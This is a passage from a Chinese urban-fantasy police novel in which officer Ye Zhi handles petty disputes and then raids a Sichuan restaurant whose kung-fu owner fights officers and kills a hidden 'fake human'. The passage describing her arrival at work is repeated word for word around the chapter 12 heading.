“这人情我总归是要还的，你想要什么？”叶枝再度开口。
江落枫思索片刻，很是为难的样子。
很久后，他才试探性地问：“那你能告诉我，为什么‘剪刀’上面两根手指是粉红色吗？”
叶枝心想，告诉他也无妨，以后避免和他对决就好。
在她开口前，江落枫补充一句：“也不用非得告诉我。”
“我用的变色唇膏。”叶枝从兜中掏出，在他眼前晃了晃，“最近换季空气干燥，我随时随地都带着。”
“嗯……”
光这点解释显然不够。
只不过江落枫保持礼貌，没有继续追问。
叶枝便自顾自地继续。
“我那两张，都是用普通黑笔画石头，再用变色唇膏画上面两根手指。”
她拧开盖子，膏体是乳白色的。
“温度升高，这个唇膏就会显色，‘石头’也相应会变成‘剪刀’。”
“所以你的异能是……”
江落枫没有说出后面的内容。
她们心照不宣，都知道后面省略的内容。
“没错。”叶枝嘴角勾起，“因为我回合开始就出了牌，所以他无意识就放下防备，纠结半天，手里那三张牌捂都没捂。”
“原来如此。”
“第十局先翻他的牌，那我更没压力了，翻出来是‘布’，那我就变色了。”
江落枫听完解释，神色写满佩服：“明白了，人情一笔勾销。”
叶枝冲他笑笑：“多谢你的咖啡，今日MVP。”
两人向出口处走去。
江落枫脸上充满疲惫之色，看上去很累的样子。
叶枝问：“你今天玩了多少？”
江落枫：“今天没玩，只是凑时间。”
“哈？”
“我的策略是只赢大的，赢够负利率后，休息一整周。”
“呃，那你为什么还来？”
“刚做完两台手术，来这里观摩对决，放松一下大脑。”
……
这是人说的话吗？
高智商人群的娱乐方式真是不同寻常，叶枝默默想。
离开俱乐部时，O先生仍直挺挺站在前台，姿势和之前一模一样。
奇怪的是，叶枝从未在俱乐部大堂见过其他人。
唯一的解释是，多个异度空间平行，不同的人走出来，会遇到不同的
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O先生。
……
说不定会遇到P先生Q先生R先生。
O先生脱下礼帽，微微鞠一躬：“各位，需要兑换愿望吗？”
这年头，鸟比人还有礼貌。
江落枫目不斜视，继续向前飘去。
叶枝停下脚步。
“要。”
江落枫也停下脚步，回头看她。
O先生覆满羽毛的脸露出笑意，很隐秘，很诡异。
“您想要什么？”
叶枝“钱。”
“多少？”O先生的合成机械音击打着空气，“100点积分，可以换一万塔隆铢。”
叶枝以为听错了。
合着一周假期值十万？警察的月平均工资都才五千！
“我换十万。”既然如此，就多换点。
江落枫露出不可理喻的神色。
“愿望达成。”
叮——
信环播报出转账通知，个人账户果然多了十万块钱。
再走出俱乐部，夜色更加沉郁，仅剩的喧闹被沉默的监控与智械巡捕代替。
叶枝抬头望天，她已经半年没见过星星了。
或许，时间无价吧。
秋风微凉，扑面而来，叶枝紧了紧大衣，双手插入兜中。
指尖触碰到七面骰，不仅不凉，还很温热。
好奇特的触感，似长眠的心脏。
回程比来时短多了，叶枝没拐几个弯，就站到了小区门口。
来去皆像鬼打墙。
破烂的小区门在风中倍显寒酸，不光监控掉漆，连流浪猫都斑秃。
叶枝想用到手的钱，租个更好的地方。
一个人独占142平米，还在F区，新生活就要来了！
她刚到楼下，却碰到了隔壁的刘阿婆。
“您没睡？”叶枝惊讶，“这么大晚上的，您一个人出来多不安全。”
D区的治安是真的不行，5毛一平的物业费能好到哪去？
“人老了，睡不着。”刘阿婆慈祥地笑着，“马上入冬了，我织了双手套，放你门口了。”
“欸？谢谢！”
不用说，肯定用得上。
刘阿婆以前是蜀绣女工，手下的纺织品永远审美在线。
“小枝啊，得亏你住这儿，小偷都不敢来了，非常的安心呐。”
叶枝有些不好意思：“最近治安整体都不错。”
刘阿婆坐到垃圾站旁的长凳上，银发在月光下波光粼粼，平静地自言自语起来。
叶枝想，其实这里也没有那么糟。
比如，这里紧邻D区夜市一条街，执勤特方便，而且街上的小吃都巨好吃。
比如，刘阿婆拿着微薄的退休金，却隔三岔五就送她做的梅菜饼。
再比如，楼上的小孩二胡拉得很好，时不时听首《二泉映月》，也能怀念起原来的世界。
她已经在这待两年了。
她还是更想建广厦千万间，庇一庇天下的寒士。
*
第二天上班，叶枝手捧一杯美式，哼着歌踏进警卫司。
其实她最喜欢喝的是拿铁，但昨晚美式救了大命，暂时改成喜欢美式。
辅警小刘和小王收起报纸，敬了一礼。
“头儿，早！”
“叶组长，早上好！”
叶枝也回敬一礼：“早！新的一周加油干！”
小刘和小王错愕地对视，今天的上司跟打了鸡血一样。
叶枝经过他们，满面春风，步伐稳而有力。
有钱就是硬气。
一想到银行账户里的十万塔隆铢，她就干劲十足。
现在，她就是深藏不露的富婆！
现在，上班就是兴趣爱好！
叶枝现在办公室门口，抿一口咖啡，准备优雅地开启今日。
然而猝不及防，她的舌尖被一阵苦涩烫麻了。
“没事吧，头儿？”辅警小刘连忙送上关怀。
很好，她想起来为什么不喜欢喝美式了。
叶枝咳嗽两声，掩饰尴尬：“没事。”
叶枝坐到办公桌前，从上周的报表看起。
没看五分钟，大厅那边的噪音就打断了她的思绪。
叶枝急忙合上笔记本，走出办公室。
只见大厅站了两个人，一个是秃顶的中年大叔，另一个是围着家政围裙的中年大姨。
他们在大厅一站，吵吵嚷嚷，两座身躯堪比两堵墙。
大叔率先告状。
“我叫了个上门厨师，但这个阿姨不愿意上门，她非说我是伪人，你们给我出个证明，证明我不是伪人啊。”
12.川菜馆
第二天上班，叶枝手捧一杯美式，哼着歌踏进警卫司。
其实她最喜欢喝的是拿铁，但昨晚美式救了大命，暂时改成喜欢美式。
辅警小刘和小王收起报纸，敬了一礼。
“头儿，早！”
“叶组长，早上好！”
叶枝也回敬一礼：“早！新的一周加油干！”
小刘和小王错愕地对视，今天的上司跟打了鸡血一样。
叶枝经过他们，满面春风，步伐稳而有力。
有钱就是硬气。
一想到银行账户里的十万塔隆铢，她就干劲十足。
现在，她就是深藏不露的富婆！
现在，上班就是兴趣爱好！
叶枝现在办公室门口，抿一口咖啡，准备优雅地开启今日。
然而猝不及防，她的舌尖被一阵苦涩烫麻了。
“没事吧，头儿？”辅警小刘连忙送上关怀。
很好，她想起来为什么不喜欢喝美式了。
叶枝咳嗽两声，掩饰尴尬：“没事。”
叶枝坐到办公桌前，从上周的报表看起。
没看五分钟，大厅那边的噪音就打断了她的思绪。
叶枝急忙合上笔记本，走出办公室。
只见大厅站了两个人，一个是秃顶的中年大叔，另一个是围着家政围裙的中年大姨。
他们在大厅一站，吵吵嚷嚷，两座身躯堪比两堵墙。
大叔率先告状。
“我叫了个上门厨师，但这个阿姨不愿意上门，她非说我是伪人，你们给我出个证明，证明我不是伪人啊。”
又是个疑似伪人的案件。
辅警小刘很是为难，不知该不该给两人戴手铐，押到审讯室去。
叶枝皱起眉头，刚想进一步询问原因，就被大姨嘹亮的嗓音打断了。
“我没说你是伪人啊！”
“你有！”
大姨喷得大叔满脸唾沫星子：“我不愿意上门，因为你说菜让我买，还不出钱，谁冤大头接你单！”
值班的职能警们面面相觑，这又是什么情况，到底谁指控谁是伪人。
大叔不甘示弱：“你你你，那你说我‘抠得不像个人’。”
“听不懂话？这都听不懂？我看你就不像人！不像人！”
叶枝：“……”
刑事案件瞬间变成民事纠纷。
局里的接线员听到这边的动静，悄悄移到角落看热闹。
“头儿，到底有没有伪人？”小王悄声问。
“没有。”叶枝经验老道，早就判断出两人都不是伪人。
“那我们还调解吗？”
“呃，能调就调。”叶枝表示，随缘吧，毁灭吧。
铃铃铃……
乱上加乱，报警热线响得热火朝天，接线员想起职责，忙向通讯台冲去。
中年人不愧是最会吵架的群体，普通话攻击已无法满足他们。
“淦，你们这些社会loser！”
“叼你啊死老头，信不信我起你天灵盖屙屎！”
“嘴脏的，活该当一辈子家政！”
……
叶枝按揉着太阳穴，听得一个脑袋两个大。
她认为，当务之急是先让双方发泄完情绪，等冷静下来再调解。
这时，接线员大喊：“接到群众举报，来福小区出现不明飞行物！”
众人瞬间警觉。
不明飞行物可是一等一的大事，既有可能是间谍，也有可能是智慧交通系统发生故障。
叶枝还没反应过来，下属们就纷纷撤离了。
“我们去处理飞行物，您帮忙鉴别一下伪人。”
叶枝抬手：“喂，你们……”
辅警小刘哈腰作揖，跑得飞快：“我们真审不出来，只有叶组长慧眼识珠！”
“拜托您了！”小王也戴起警帽，飘出警卫司。
轰隆隆，窗外打雷了。
秋冬交际之时，最容易突然变天。
前一秒还万里晴空，后一秒就直接倾盆大雨，乌云密布，万千细密的银丝从天空坠下。
终于，经过长达两个小时的调解，双方互相理解并达成共识。
叶枝长舒一口气。
“这不挺好？别再吵架了，也别拿‘你不是人’开玩笑，会给我们警察添麻烦的。”
送走两人后，警卫司重新迎来了宁静。
曲寻雁，一个新来的警务培训生，凑到她身边。
“叶组长，咱每天都干这个吗？”
“差不离吧。”
曲寻雁眼内瞬间丧失光芒，好个水灵灵的小姑娘，一下就没了生气。
叶枝轻拍她的肩膀，语重心长：“人生就是充满妥协。”
“我不喜欢在这儿历练。”
“既来之，则安之。”叶枝好言相劝。
“呜呜，我还是让我爸把我调总局去吧。”
“你爸是谁？”
曲寻雁睫毛扑闪，压低声音：“不知道您听说过没，曲胜。”
打扰了，原来是龙港警卫总局的副局长千金。
“……你的人生不用妥协。”叶枝改口。
这时，小刘和小王双双归来，暴雨把他们淋成落汤鸡。
“怎么样？”叶枝看向他们。
两人骂骂咧咧，拂去脸颊的水。
“爹了个根的，狗屁不明飞行物，是个马蜂窝！”
“挨蛰就挨蛰，非说是间谍的毒针！”
“他宝贝个青膀咸鸭蛋，说了还不信，被害妄想症吧！”
……
叶枝毫不意外。
银行账户里的十万块钱，再也无法宽慰心灵了。
十万块哪里够！
根本不够修补大家的脑子！
那句话永不过时。
别怪政府管的多，很多人其实智力并不正常，只是生活能自理，才姑且被当成正常人。
叶枝剩下的半杯咖啡，早就遗忘在桌角凉透了。
上班的激情就是如此昙花一现，半天内，直接从入门到放弃。
*
那天下午，叶枝继续和家长里短到处扯皮。
今天也有两位家庭主妇怀疑老公不是人。
今天也有人怀疑外星人用脑电波控制他的思想。
一到繁琐杂事，领导们就跑得飞快，佟局长更是整天见不到人。
眨眼间，便来到了晚饭点。
叶枝难得能喘口气，无人机送来炸串外卖，香味扑鼻。
然而刚坐下，就有人敲办公室的门。
推门进来的是佟局长。
“哎呀，小叶，我是不是打扰你吃饭了？”
她虽然这么说着，身体却很诚实的走进来坐下。
“没，您说。”叶枝一边拆外卖包装，一边露出死人的微笑。
“H区人手不够了，欧阳局长跟我借调骨干，你去山棠街帮帮忙，配合郝组长抓一下伪人吧。”
叶枝饿得胃都抽了：“……我能先把这些串吃了吗？”
合着她就是块砖，哪里需要哪里搬。
“那边的情况有点紧，”佟局长干笑两声，“你带路上吃吧。”
叶枝：“……”
佟局长想起了什么，补充道：“顺便带上曲寻雁，小姑娘想去。”
不仅没时间吃饭，还要带关系户，这合理吗？
叶枝没忍住，露出暴躁的神色。
佟局长忙道：“任务完成后你们奖励自己顿好的，餐标按每人一千报销。”
餐标一千块！
为人民服务，黑珍珠大众点评榜走起！
叶枝合上袋子，披上制服外套：“没问题！”
“辛苦了。”佟局长眯眼着送行。
*
H区是龙港最古色古香的地区。
所有道路都铺满青石板，古建筑挂满镭射水雾灯，斗拱层叠交错，琉璃瓦闪着微光。
H区很神奇。
说它破吧，好多富人都买这里的别墅，专门用来度假。
说它高档吧，看不见的犄角旮旯里，总有地方年久失修。
夕阳透过爬山虎，在龙凤云纹的墙面间，洒下斑驳光影。
叶枝坐在警车后座，一边啃淀粉肠，一边欣赏窗外的景色。
曲寻雁叽叽喳喳个不停，她头一次正式出警，不想放过询问任何细
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节。
H区伪人专案组组长姓郝，他为人没什么架子，不属下们都亲切地称他为“大郝”。
如果这世上有千千万万个大郝，那么无论何时，ai主播都能播报“全国形势一片大好”了。
大郝长叹一口气，愁容满面：“有群众举报，‘莫须有’川菜馆有伪人出没，所以山棠街失踪率才暴增。”
曲寻雁问：“‘莫须有’？”
“H区最火爆的川菜馆，老板姓莫。”
原来是谐音梗。
曲寻雁问：“是不是同行举报的，因为嫉妒他的生意？”
“冥示探测仪确实在该区域检测到了负元子。”
负元子是一种能量指标，据墨子工会研究，是伪人身体内部散发出的辐射能量。
冥示仪尚处于初级研发阶段，精度很低，只能将范围缩小到半径一千米内。
但若同时有群众举报，这家店的可疑程度会直接更上一层楼，很可能就是这里。
“群众是根据什么举报的？”曲寻雁是个喜欢刨根问底的。
“他们家后厨很神秘，有客人反应，里面会传出奇怪的声音。”
“什么声音？谁听见的？谁举证的？有没有人自爆？举报人身份有没有核实？”
大郝：“……”
叶枝嫌她话多，递来根烤面筋：“来一根？”
“不用，谢谢组长。”
“来一根，很好吃的。”叶枝直接塞进她的嘴里。
曲寻雁只能闭嘴嚼嚼嚼。
真香。
五分钟后，她们到达了“莫须有”川菜馆门前。
这家小店深埋小巷尽头，匾额上三个大字古色古香，两盏灯笼摇曳风中，上面写着个烫金隶书的“味”字。
“当心点，这儿的老板不是省油的灯。”大郝不忘提醒一句。
走进餐馆，只见大堂围着几个警察，一个长发男子拦在后厨门前，没人敢上前一步。
许多警察甚至都面露惧色。
这个长发美男子，想必就是“莫须有”的老板了。
他眉目清秀，身着一袭灰色长衣，羽扇纶巾的模样，很难跟厨师联系起来。
大郝先嚷嚷：“莫老板，让我们查一查！”
从语气听来，他应该已经来过好几次了，而且每次都失败而归。
长发男子靠在门边，浅浅作个揖，却没说话。
叶枝上前一步，问：“您就是‘莫须有’的老板？”
“在下莫冬青。”
辣椒香味扑面而来，两旁的桌子上，满是油光水亮的剩菜。
“在龙港开川菜，大家没有吃辣的习惯，能赚到钱？”叶枝问。
莫冬青不紧不慢，扇着手中的绣龙扇子：“无论什么菜系，好吃才是硬道理。”
他那双丹凤眼总是笑眯眯的，看上去亲切和蔼，反而更令人毛骨悚然。
叶枝出示搜捕令：“请您配合警方搜查。”
“客人都被你们吓跑了。”莫冬青丝毫没有让开的意思。
“若没有发现伪人，警卫司会给您相应的补偿。”
莫冬青仍然在笑，语气却染上冷意。
“后厨是藏我独门秘方的要地，万一你们谁偷了去，我这生意可就黄了。”
“那只放我进去检查，如何？”
莫冬青好似没有听见，扇子带起的风，拂起耳边的长发。
“无福之人，不进有福之地。”
还挺文绉绉。
后面一批警察面部扭曲，又遇到死装哥了。
叶枝想了想，陪一句：“不虚之人，不说心虚之话。”
也算是好言相劝了。
莫冬青愣住，手中的扇子也停在半空。他显然没料到，这警察还对上对联了。
叶枝趁这功夫大步向前，直逼后厨。
莫冬青回过神来，尝试用扇子阻挡：“止步！”
叶枝没理会他。
妨碍警察公务是违法的。
唰！
嘶拉拉！
眼看要拦不住了，莫冬青手腕猛然一抖，合上扇子，扇头露形成尖锐的刃，闪出寒光。
这把绣龙之扇，原来是兵器！
13.好一个武僧
对方先动手，警方也不得不动用暴力了。
叶枝掏出腰际的警棍，挥舞而出，挡住那迎面而来的扇刃。
上级有规定，对平民执法，不能使用激光刃、枪支等极可能危害人身安全的武器。
这是人民警察的基本守则。
扇刃重重切到警棍上，震得叶枝手腕一阵发麻。
“敬酒不吃吃罚酒。”莫冬青嗤之以鼻。
叶枝退到角落，刚才那一震，差点给她震出内伤。
H区的警察纷纷涌上，棍子手铐在空中飞舞，场面好不混乱。
曲寻雁哪见过这阵仗，手忙脚乱半天，也没能插手进众警察围殴莫冬青的圈子。
果然如大郝所说，这人不是省油的灯。
他绝对是练过的。
仅凭一把扇子就能四两拨千斤，无数警棍就败退飞出。
这真是川菜馆老板，不是少林寺高僧？
无论怎么战斗，莫冬青都游刃有余，看得人十分来气。
叶枝真是服了，就搜查个后厨，跟守护传家宝似的。
“有德之人，不干缺德之事！”
莫冬青边打边大笑，显然打得很不认真。
“妙啊，妙啊！”
也不知是在享受，还是在称赞第二个对联。
在这个全部依赖科技的赛博时代，大家普遍缺乏锻炼，战斗力根本不行，他们的狼狈样还不如叶枝。
莫冬青抄起餐桌上吃剩的大锅，咣当，罩在进攻的警员头上。
可怜的警员被大铁锅敲晕，倒到了地上。
莫冬青：“回锅肉！”
某警员从柜台上跳下，想从上面突破。
莫冬青拿起调料瓶，打开瓶盖，向上一抛，甩出里面的胡椒粉。
那个警员刚落地，就开始疯狂打喷嚏
莫冬青：“蚂蚁上树！”
另一个警员找到突破口，警棍朝他的脖子甩来。
莫冬青泥鳅般灵活俯身，掌根在他胯kua下一撞。
男警员嗷一声惨叫，倒到地上捂住裆部，光是看着都要疼死了。
莫冬青：“宫爆鸡丁！”
叶枝：“……”
哪家正常人一边打架，一边报菜名啊！
莫冬青哗一下抽出桌布，手腕一摆平移甩出，呼到男警员的脸上。
招招不致命，招招侮辱性拉满。
叶枝差不多休息好了，却迟迟没有上，她很好奇这招的菜名。
莫冬青明显顿了一下，露出词穷的神色。
眼看下一波进攻就要袭来，他忙急中生智：“小猪盖被！”
叶枝：“……”
川菜换成东北菜了。
越来越多的H区警察不敌莫老板，背锅的背锅，挨铲的挨铲。
莫冬青轻飘飘落到后厨门前，四处弥漫着紧张的气息。
叶枝不得不上了。
她的目光如鹰隼般锐利，警棍在她手中如同一条灵蛇，游走自如，透着隐隐的威势。
莫冬青轻轻一挥折扇，仿佛要将打斗化为风花雪月，灵巧一闪，便避开肩膀要害。
经过刚刚的观察，叶枝对此人的套路大概心里有数了，她素来是个实践家。
亦柔亦刚，内外相重，臂似长鞭，颇有小说中峨嵋派的遗风。
叶枝虽不懂传统武学，却能感觉出最不该硬刚。
对方擅用四两拨千斤，是大力与莽撞的天然克星。
挡的力道越大，反震的力道也就越大，万万不可硬拼。
叶枝用警棍格挡扇刃，以及飞来的锅碗瓢盆，同时向莫冬青的小腿处发起密集的攻击。
莫冬青发现她在攻击下盘，运气于掌，扇子由向上运改为向下铲。
叶枝上半身反方向绕个弯，左手趁虚而入，一记擒住他的手腕。
紧接着她抛出警棍，双手协力锁住莫冬青的双臂，令他动弹不得。
莫冬青神色稍显狼狈：“好功夫，哪个门派的？”
叶枝一笑：“自成一派。”
她仍紧紧擒住莫冬青，谈判时必须要占据主导地位。
然而，她的左肩被斜飞的扇刃划伤，伤口穿破警服，传来后知后觉的痛。
“你没事吧，叶组长！”大郝十分焦急，可他也不敢轻举妄动。
莫冬青垂下眼睛，也看到了女警肩上的伤口，胳膊瞬间脱力。
“抱歉。”说罢，他手指松开，扇子啪嗒掉到地上。
叶枝脸色微微发白，仍保持着镇静的微笑:“我们也是办事的，请理解一下，别闹得太难看。”
“你不怕我扇子上有毒吗？”
“如果有毒，你没必要露出这种表情。”
叶枝能看得出来，这位不是坏人，只是个钻牛角尖大师罢了。
莫冬青没有言语。
所有警员架起防御姿态，小心翼翼，一步一步向两人包围。
“我们向你保证，绝不会损坏后厨的任何物品，也不会伤害任何员工。”
莫冬青咬住嘴唇，直至发白才松开。
“请随我来。”
叶枝松开手。
他弯腰捡起地上的扇子。
警察们经过刚才那么一闹，谁也不敢松懈，小心翼翼地跟上来。
曲寻雁不知从哪儿撕来了一条绷带，临时包扎住叶枝肩头的伤口。
莫冬青停下脚步，眼神犀利地扫视一圈：“后厨地方小，最多三个人。”
叶枝和大郝自然是要跟着他进来的。
曲寻雁对出警充满好奇，也非要进来，叶枝暗示大郝此人的局长千金身份后，大郝也只能把观音菩萨放进门。
大郝叮嘱：“你尽量离远点，有些伪人暴露后，攻击性会变得巨强。”
“没问题！”
“莫须有”的后厨很大很亮堂，各色调料一应俱全，一排排大锅里全是油光水亮的川菜。
因为突击搜查，当日店内所有工作人员都封锁在内。
叶枝先巡查环境，大郝的习惯则是先清点人数，曲寻雁在两人之间左右横跳。
叶枝看完后，拍拍手。
“我还以为你们这有卫生问题，这不挺干净的，那么心虚干什么？”
川菜馆油烟比较大，这里的厨师都是男性。
再加上他们都穿着厨师服，往那儿站一排，跟复制粘贴似的。
三位警官站在他们面前，瞪大眼睛，仔细检查细节。
叶枝表面上在看那排厨师，注意力其实在另一处。
她在用余光观察莫冬青的表情。
大郝皮肤黝黑，长得五大三粗，不笑时眼神凶狠犀利。
当他的眼神停在某人身上时，莫冬青的眉头肉眼可见的向中间聚了些。
叶枝捕捉到位置，往左手第二个一指。
“这人不对劲。”她直戳了当。
大郝和曲寻雁不约而同的看向她所指的人。
那也是一个年轻男人，面色白净，又瘦又矮，宽大的厨师服在他身上，像小孩偷穿大人的衣服。
莫冬青表情明显僵了一瞬。
叶枝尚没发现哪里不对劲，但冲这表情变化，肯定有猫腻。
莫冬青问：“他怎么了？”
叶枝微微眯起眼睛，上下打量，这才发现问题。
她又从左到右，弯着腰缓缓走一遍。
“这是你们厨师？”叶枝问。
“是。”
“来多久了？”
“半年了。”
叶枝直起腰：“他的手上没有任何伤口，包括烫伤，刀伤。”
“他厨艺不行，一般都洗盘子。”莫冬青解释。
“他手上没有洗洁精味。”叶枝不买账。
莫冬青顿了顿：“高科技时代，手不用沾水。”
“我刚才走了一圈，你们这没洗碗机。”
莫冬青哑口无言。
大郝和曲寻雁立刻围到那人身边，手铐呼之欲出。
莫冬青叹了口气，道出实情。
“这是我的结拜兄弟，在外面惹了事，有人追杀他。他没地方去，我就收留了他，他平常住这儿。”
叶枝仍注视着那个可疑人物。
她有她的直觉。
从第一眼起，她就觉得这个人不对劲。
眨眼频率、呼吸频率、脖子上的血管分布……究竟哪里不对？
叶枝站到他面前约一米处，紧紧注视他。
“你叫什么？”
“陈听寒。”
“我见过你。”
“什么？”
“你还记
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得我是谁吗？”
少年一愣，摇摇头。
叶枝继续注视他，嘴角微微勾起：“你觉得我没看出来吗？”
大郝和曲寻雁都不约而同倒吸一口凉气，谁也猜不透她的言外之意。
别看叶组长有张无公害的漂亮面庞，吓人的时候，是真的吓人！
少年强壮镇定：“我听不懂您在说什么。”
咔嚓。
叶枝直接给他拷上手铐。
所有人都瞪眼震惊，还没明白发生了什么，就逮捕了。
“你确实很紧张，但你忘记出汗了。”
莫冬青皱眉，忙上前阻拦：“警官，肯定有误会，你不能……”
“请勿妨碍警察执法。”
大郝见状，也上前来协助叶枝押送这矮个少年。
“你不能铐走我，我不是伪人。”陈听寒抗议。
莫冬青抬手：“寒兄你别急，我来周旋。”
虽然这是个伪人，但少年形态的伪人还挺可爱的，有种跳起来能打到自己膝盖的美感。
“你太嫩了，刚当伪人没多久吧？”叶枝微笑着调侃。
陈听寒瞪大眼睛：“有那么明显吗？”
……
空气突然沉默。
这下是真的实锤了。
莫冬青还是不敢相信，跃到后厨出口前。
“各位请留步，其间一定有误会，我和他认识多年，我担保他肯定不是伪人。”
曲寻雁哼一声，指向莫冬青：“本姑娘学过法！你也逃不了，窝藏伪人有连带罪。”
莫冬青的绣龙之扇又握到手上：“若他不是伪人呢？正常人也有不常出汗的。”
双方僵持不下。
叶枝只想早点下班，她馋一千块的餐标馋很久了。
大郝抬起手腕，查看信环上的日程表：“刚好墨子工会今天来H区巡查，联系他们把人带走吧。”
听到这话，陈听寒的面色大变。
他的手腕如漏气一般，迅速萎缩成皱皱巴巴的皮，立刻向外抽出了手铐。
“我了个青膀咸鸭蛋！”大郝惊呼。
“伪人！伪人！”
众人迅速乱成一锅粥，尤其是剩下的厨师，立刻四散奔逃。
莫冬青一惊，脸上的微笑终于消失。
他的川菜馆里，真的有伪人！
理论上，警察无权处理伪人，应该将伪人铐回统一备案，再武装押运到墨子工会处理。
可是陈听寒的反应很大，不知听到哪四个字，跟疯了一样，根本不给他们控制的机会。
他的四肢像充气娃娃一样，伸长缩短，泄气鼓胀，急切地想逃出封闭的空间。
警察们只能掏出线枪。
陈听寒左臂伸长，卷到后厨右侧的台柱，右臂如飘带般狂甩，在警察们握紧枪前，打翻他们的手。
叶枝没办法，只能掏出激光刃，决定不管伪人死活，直击要害。
这时，莫冬青拍起灶台上的菜刀，如离弦之箭冲上前去。
叶枝震惊于他的速度，稳、狠、准。
和刚才独战警察完全不同，莫冬青面对伪人，明显是下了杀心的。
寒光闪过，血光迸发而出。
菜刀径直切入腹部，刺啦一转一拉，腐化异变的内脏流了一地。
莫冬青向后一跃，稳稳落到地上。
警察们不约而同惊呆了，这年头，竟然有如此武功高强之人！
莫冬青凝视着地上的景象。
他的神色远不如先前镇定，好似块碎掉的巨石，堵在颤抖的唇齿之间。
又要报菜名吗，叶枝想。
“毛血旺。”莫冬青一字一顿，嗓音明显在抖。
伪人的尸体躺在地上，血液汩汩流出，像一朵鲜血绽开的花。
莫冬青的头仍未抬起。
世界寂寞，人类寂寞，他的绣龙扇子也在寂寞。
大郝忙命令属下：“快联系墨子公会的人！”
“是！”
又进来两个H区职能警，拷上疑似共犯的莫老板，而他也不再反抗一分一毫。
叶枝突然觉得，莫冬青的身影很熟悉，好像很久以前在哪儿见过一样。
难道这是传说中的既视感？
她曾认识过他吗？
14.无罪释放
事情终于解决。
叶枝处理过无数案件，但这么离谱的还是第一次见，拜报菜名的莫老板所赐。
伪人在公开场合暴走，一般是在集群的情况下，比如那日的游戏发布会。
因为单个伪人的作战能力并不高，通常情况下，它们都会抱团。
就像鬣狗一样——
单人唯唯诺诺，抱团重拳出击。
所以过去除了大型暴动外，叶枝没见过伪人尸体，自然也就很少直接和墨子公会对接。
墨子工会还是一如既往的迅速。
不到一刻钟，川菜馆门口便停了一辆吉普，车身贴有“MOZI”的荧光标识。
罩白袍的人没有露面，大概是伪人的危险等级不够，只有两个科研人员前来处理尸体。
和上次一样，他们收集血液和皮肤组织样本后，喷洒碳基溶解剂与消毒凝胶。
叶枝回想起陈听寒暴起的过程，觉得有些古怪。
为什么一听要立马押送到墨子工会，就会不惜一切代价也要反抗？
伪人尸体溶解的无影无踪，善后处理完毕。
临走前，科研人员向众警察鞠了一躬。
“我代翼火君向你们表示感谢。”
与此同时，叶枝注意到另一件事情。
警车车窗另一侧，莫冬青脸上再没浮现过笑容，甚至有强忍泪水的迹象。
叶枝更加确信，他应该不是恶意包庇的坏人，可能真被伪人骗了好几年。
她擅长解读微表情，能看出那抽动的眉头与嘴角，是困惑、难过以及懊悔的混合。
他亲手杀死了朋友。
或许那确实曾是他的朋友。
这是在h管辖区内的案件，叶枝和曲寻雁来自D区，无权插手后续流程，她们便在店门口送别了大郝。
大郝迟迟没有离开，看着叶枝肩头的伤口，面露愁容。
“没事，就是划了一道。”叶枝露出个爽朗的笑容，她早就不疼了。
“需要我按照袭警上报吗？”大郝问。
叶枝看向即将车窗另一侧的莫冬青，他仍低着头，还是一样的神情。
还是该死的既视感。
脑海内闪过两袖清风的幻影，飘过混合辣椒香气的发丝，以及倒在血泊之中的微笑。
叶枝摇了摇头：“不用，不是大事。”
她知道，袭警会加刑。
而她银行账户坐拥十几万，也不是那么需要几百塔隆铢的补贴。
“你再思考一下，我们有目击证人。”
“真没事，他也没恶意。”
曲寻雁眨眨眼，思索片刻后：“也对哈，伪人也是他亲手刀的。”
说吧，她面露骄傲之色，和叶枝相视一笑。
“好吧。”大郝敬了一礼，转身向警车走去。
夜色沉郁，警笛声渐渐融进远方的水雾灯中。
虽然“莫须有”闭店了，但外面的主街旁各色餐馆一应俱全，食物的香气不断飘来。
叶枝又饿了。
她暗暗盘算，佟局长许诺的餐标怎么花。
曲寻雁探过身来，眨着好奇的大眼睛：“叶组长，今天的工作结束了吗？”
“结束了。”
“哦……”听语气竟然还有些失望。
叶枝伸个懒腰，她忘记了肩上有伤，这么一扯，差点疼得躺地上。
曲寻雁眼疾手快地扶住她。
叶枝长呼一口气，平复呼吸：“饿死了，去吃饭。”
“吃什么？我请您！”
“不用，公费聚餐。”叶枝狡黠一笑。
“欸？这么好！”
叶枝在信环上划拉，点开一家：“就这家日式自助吧！帝王蟹和海胆刺身看上去不错。”
曲寻雁露出为难的神色：“又吃这些，我都吃腻了。”
……
我跟你们这帮有钱人拼了，叶枝露出杀人微笑。
曲寻雁话锋一转，甜甜一笑：“不过您想吃，我就陪您。”
“乖孩子。”叶枝竖起大拇指。
两人走出弥漫着消毒水味的小巷，来到人山人海的山棠街。
现在正处于夜生活的高峰，到处都是灯光，到处都是吆喝。
两人走进日料店，在靠边的榻榻米坐下，尺八和三味弦的乐声单调而宁静。
出警很耗费体力。
叶枝饿得够呛，先扫荡完半碗鳗鱼饭，伸筷子向刺身后，才开始和小培训生说话。
“你的培训期还有三周，下个月3号就能轮岗了。”
“哦对，轮岗。”曲寻雁喃喃自语般重复。
“你接下来保持今天的表现，我绝对给你打A+，放心吧。”
曲寻雁犹豫片刻，筷子戳戳小碟上的芥末。
“我想在咱D区警卫司多留几个月。”
叶枝正在喝西瓜汁，差点一口喷出来。
“哈？”
她不觉得这姑娘脑子不好，难道刚才看到手刃伪人的血腥场面吓傻了？
“说实话，我第一眼看到您，以为您肯定是个花瓶。”
叶枝：“？”
这小嘴抹了蜜是吗。
“您长得那么温柔可爱，像包养的关系户……”
叶枝：“……”
“我这么说，您不会生气吧？”曲寻雁瞪着楚楚可怜的圆眼睛。
“不会。”叶枝深吸一口气。
“但是没想到您这么厉害，拳打莫老板，脚踹小伪人，受伤了还能笑出来。太帅了！太霸气了！”
叶枝噗一声笑了，眨一下眼：“可爱、漂亮、帅气都好，只要是夸我的，照单全收。”
曲寻雁攥紧拳头，堪比发誓：“所以，我想多向您学习！请允许我多留这一段时间吧！”
又回到这儿了。
叶枝收起笑容，切换成严肃模式：“当职能警吗？”
这不是演习，这不是演习，在你面前的可是地狱啊！
曲寻雁愣住，不明白她脸上笼罩的阴云。
叶枝没说话，指指左肩上的绷带，底下可是血淋淋挨了一刀。
威风吗？
挨打换的。
曲寻雁露出不明觉厉的眼神，也学着她的模样拍肩膀。
叶枝点点头。
曲寻雁更开心了：“我愿意成为您的左膀右臂！”
……
叶枝拿起小勺，狂挖海胆刺身。
*
那天晚上，叶枝做了个梦。
虚无的混沌中，莫冬青一袭青衫，笑着摘下京剧脸谱。
他挽起一截袖子，露出琉璃玉般的小臂，腕上环包合金护甲。
他身后还有更多人影，都模糊得看不清楚。
巨龙吐出红色的火舌，扭曲的空间形成结界，空气布满金粉碎屑。
火舌穿入他的身体。
